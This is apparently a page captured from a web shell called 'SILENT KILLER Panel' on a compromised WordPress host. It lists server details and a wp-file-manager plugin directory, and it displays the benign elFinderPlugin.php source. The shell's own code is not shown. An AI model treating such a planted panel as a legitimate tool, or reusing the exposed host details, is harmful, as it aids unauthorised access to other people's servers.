SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > wp-file-manager > lib > php


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins/wp-file-manager/lib/php

NameTypeSizeLast ModifiedActions
editors Directory - -
flycache Directory - -
libs Directory - -
plugins Directory - -
resources Directory - -
autoload.php File 2680 bytes December 28 2021 14:26:10.
elFinder.class.php File 188084 bytes June 04 2025 15:21:08.
elFinderConnector.class.php File 12774 bytes May 04 2023 16:18:36.
elFinderFlysystemGoogleDriveNetmount.php File 15187 bytes May 25 2020 10:48:08.
elFinderPlugin.php File 3331 bytes February 21 2019 09:50:20.
elFinderSession.php File 8764 bytes December 28 2021 14:26:10.
elFinderSessionInterface.php File 1094 bytes February 21 2019 09:50:20.
elFinderVolumeBox.class.php File 61772 bytes May 25 2020 10:48:08.
elFinderVolumeDriver.class.php File 263137 bytes June 04 2025 15:21:08.
elFinderVolumeDropbox2.class.php File 47412 bytes June 04 2025 15:21:08.
elFinderVolumeFTP.class.php File 58552 bytes December 28 2021 14:26:10.
elFinderVolumeGoogleDrive.class.php File 71259 bytes May 25 2020 10:48:08.
elFinderVolumeGroup.class.php File 5371 bytes February 21 2019 09:50:20.
elFinderVolumeLocalFileSystem.class.php File 48374 bytes January 18 2024 14:52:52.
elFinderVolumeMySQL.class.php File 30439 bytes June 04 2025 15:21:08.
elFinderVolumeOneDrive.class.php File 67254 bytes June 04 2025 15:21:08.
elFinderVolumeSFTPphpseclib.class.php File 27364 bytes June 04 2025 15:21:08.
elFinderVolumeTrash.class.php File 1583 bytes February 21 2019 09:50:20.
elFinderVolumeTrashMySQL.class.php File 1576 bytes February 21 2019 09:50:20.
mime.types File 24863 bytes June 04 2025 15:21:08.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins/wp-file-manager/lib/php/elFinderPlugin.php

<?php

/**
 * elFinder Plugin Abstract
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPlugin
{

    /**
     * This plugin's options
     *
     * @var array
     */
    protected $opts = array();

    /**
     * Get current volume's options
     *
     * @param object $volume
     *
     * @return array options
     */
    protected function getCurrentOpts($volume)
    {
        $name = substr(get_class($this), 14); // remove "elFinderPlugin"
        $opts = $this->opts;
        if (is_object($volume)) {
            $volOpts = $volume->getOptionsPlugin($name);
            if (is_array($volOpts)) {
                $opts = array_merge($opts, $volOpts);
            }
        }
        return $opts;
    }

    /**
     * Is enabled with options
     *
     * @param array    $opts
     * @param elFinder $elfinder
     *
     * @return boolean
     */
    protected function iaEnabled($opts, $elfinder = null)
    {
        if (!$opts['enable']) {
            return false;
        }

        // check post var 'contentSaveId' to disable this plugin
        if ($elfinder && !empty($opts['disableWithContentSaveId'])) {
            $session = $elfinder->getSession();
            $urlContentSaveIds = $session->get('urlContentSaveIds', array());
            if (!empty(elFinder::$currentArgs['contentSaveId']) && ($contentSaveId = elFinder::$currentArgs['contentSaveId'])) {
                if (!empty($urlContentSaveIds[$contentSaveId])) {
                    $elfinder->removeUrlContentSaveId($contentSaveId);
                    return false;
                }
            }
        }

        if (isset($opts['onDropWith']) && !is_null($opts['onDropWith'])) {
            // plugin disabled by default, enabled only if given key is pressed
            if (isset($_REQUEST['dropWith']) && $_REQUEST['dropWith']) {
                $onDropWith = $opts['onDropWith'];
                $action = (int)$_REQUEST['dropWith'];
                if (!is_array($onDropWith)) {
                    $onDropWith = array($onDropWith);
                }
                foreach ($onDropWith as $key) {
                    $key = (int)$key;
                    if (($action & $key) === $key) {
                        return true;
                    }
                }
            }
            return false;
        }

        if (isset($opts['offDropWith']) && !is_null($opts['offDropWith']) && isset($_REQUEST['dropWith'])) {
            // plugin enabled by default, disabled only if given key is pressed
            $offDropWith = $opts['offDropWith'];
            $action = (int)$_REQUEST['dropWith'];
            if (!is_array($offDropWith)) {
                $offDropWith = array($offDropWith);
            }
            $res = true;
            foreach ($offDropWith as $key) {
                $key = (int)$key;
                if ($key === 0) {
                    if ($action === 0) {
                        $res = false;
                        break;
                    }
                } else {
                    if (($action & $key) === $key) {
                        $res = false;
                        break;
                    }
                }
            }
            if (!$res) {
                return false;
            }
        }

        return true;
    }
}

SILENT KILLER Tool